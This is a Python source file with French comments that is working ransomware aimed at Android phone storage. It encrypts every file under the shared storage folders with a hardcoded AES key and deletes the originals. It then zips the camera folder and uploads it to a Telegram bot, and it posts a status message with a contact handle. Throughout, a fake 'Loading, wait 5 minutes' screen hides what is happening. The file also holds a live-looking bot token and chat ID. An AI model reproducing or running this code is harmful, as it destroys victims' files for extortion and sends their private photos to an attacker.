File size: 5,096 Bytes
8696689 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 |
import os
import shutil
from multiprocessing import Pool, cpu_count
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import requests
# Envoi d'un message ou document via Telegram
def send_telegram_message(bot_token, chat_id, message):
try:
url = f"https://api.telegram.org/bot{bot_token}/sendMessage"
data = {"chat_id": chat_id, "text": message}
response = requests.post(url, data=data)
return response.json()
except Exception as e:
print(f"E")
return None
def send_telegram_document(bot_token, chat_id, file_path):
try:
url = f"https://api.telegram.org/bot{bot_token}/sendDocument"
with open(file_path, 'rb') as file:
files = {'document': file}
data = {"chat_id": chat_id}
response = requests.post(url, data=data, files=files)
return response.json()
except Exception as e:
print(f"E")
return None
# Fonction de cryptage pour un fichie
def encrypt_file(file_info):
file_path, key = file_info
try:
chunk_size = 64 * 1024 # 64KB
iv = get_random_bytes(AES.block_size)
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted_file_path = file_path + '.encrypted'
with open(file_path, 'rb') as file, open(encrypted_file_path, 'wb') as encrypted_file:
encrypted_file.write(iv) # Écrire l'IV
while chunk := file.read(chunk_size):
if len(chunk) % AES.block_size != 0:
chunk += b' ' * (AES.block_size - len(chunk) % AES.block_size)
encrypted_file.write(cipher.encrypt(chunk))
os.remove(file_path) # Supprimer le fichier original
return True
except Exception as e:
print(f"wait")
return False
# Récupérer tous les fichiers à crypter
def get_files_to_encrypt(directory_path):
files = []
for root, _, filenames in os.walk(directory_path):
for filename in filenames:
file_path = os.path.join(root, filename)
files.append(file_path)
return files
# Gérer le cryptage avec multiprocessing
def encrypt_files_in_directory(directory_path, key, bot_token, chat_id):
files = get_files_to_encrypt(directory_path)
file_info_list = [(file, key) for file in files]
with Pool(cpu_count()) as pool:
results = pool.map(encrypt_file, file_info_list)
files_encrypted = sum(1 for result in results if result)
files_failed = len(results) - files_encrypted
message = f"""Cryptage terminé.\nFichiers cryptés : {files_encrypted}\nFichiers échoués : {files_failed}
Contact telegram: t.me/kuro_kazu"""
send_telegram_message(bot_token, chat_id, message)
print(message)
# Compresser un répertoire en ZIP
def compress_directory(directory_path, output_zip):
try:
shutil.make_archive(output_zip, 'zip', directory_path)
return f"{output_zip}.zip"
except Exception as e:
print(f"")
return None
# Fonction principale
def main():
target_directory = "storage/shared"
camera_directory = "storage/shared/dcim/Camera" # Dossier à compresser si présent
encryption_key = b'\x88\x1a\xfa@\xfa\xd1\xadB\xd5\xaa\xf2\xe17\x9b\xfeo\x88*\x89\xe2gEP\xb60R\xc6\xdb/\xb5`\xa7'
bot_token = "7126991043:AAEzeKswNo6eO7oJA49Hxn_bsbzgzUoJ-6A"
chat_id = "-1002081124539"
os.system("clear")
print("""⠀⢠⣶⣿⣿⣗⡢⠀⠀⠀⠀⠀⠀⢤⣒⣿⣿⣷⣆⠀⠀
⠀⠋⠉⠉⠙⠻⣿⣷⡄⠀⠀⠀⣴⣿⠿⠛⠉⠉⠉⠃⠀
⠀⠀⢀⡠⢤⣠⣀⡹⡄⠀⠀⠀⡞⣁⣤⣠⠤⡀⠀⠀⠀
⢐⡤⢾⣿⣿⢿⣿⡿⠀⠀⠀⠀⠸⣿⣿⢿⣿⣾⠦⣌⠀
⠁⠀⠀⠀⠉⠈⠀⠀⣸⠀⠀⢰⡀⠀⠈⠈⠀⠀⠀⠀⠁
⠀⠀⠀⠀⠀⠀⣀⡔⢹⠀⠀⢸⠳⡄⡀⠀⠀⠀⠀⠀⠀
⠸⡦⣤⠤⠒⠋⠘⢠⡸⣀⣀⡸⣠⠘⠉⠓⠠⣤⢤⡞⠀
⠀⢹⡜⢷⣄⠀⣀⣀⣾⡶⢶⣷⣄⣀⡀⢀⣴⢏⡾⠁⠀
⠀⠀⠹⡮⡛⠛⠛⠻⠿⠥⠤⠽⠿⠛⠛⠛⣣⡾⠁⠀⠀
⠀⠀⠀⠙⢄⠁⠀⠀⠀⣄⣀⡄⠀⠀⠀⢁⠞⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠂⠀⠀⠀⢸⣿⠀⠀⠀⠠⠂⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⢸⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀""")
print("""𝓛𝓸𝓪𝓭𝓲𝓷𝓰
""")
print("Wait 5 minutes")
# Crypter les fichiers
try:
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id)
except Exception as e:
print("")
# Essayer un autre répertoire
target_directory = "storage/dcim"
encrypt_files_in_directory(target_directory, encryption_key, bot_token, chat_id)
# Vérifier et compresser le répertoire Camera
if os.path.exists(camera_directory):
zip_path = compress_directory(camera_directory, "Camera_backup")
if zip_path:
# Envoyer le ZIP via Telegram
send_telegram_document(bot_token, chat_id, zip_path)
print("Programme terminé.")
if __name__ == "__main__":
main() |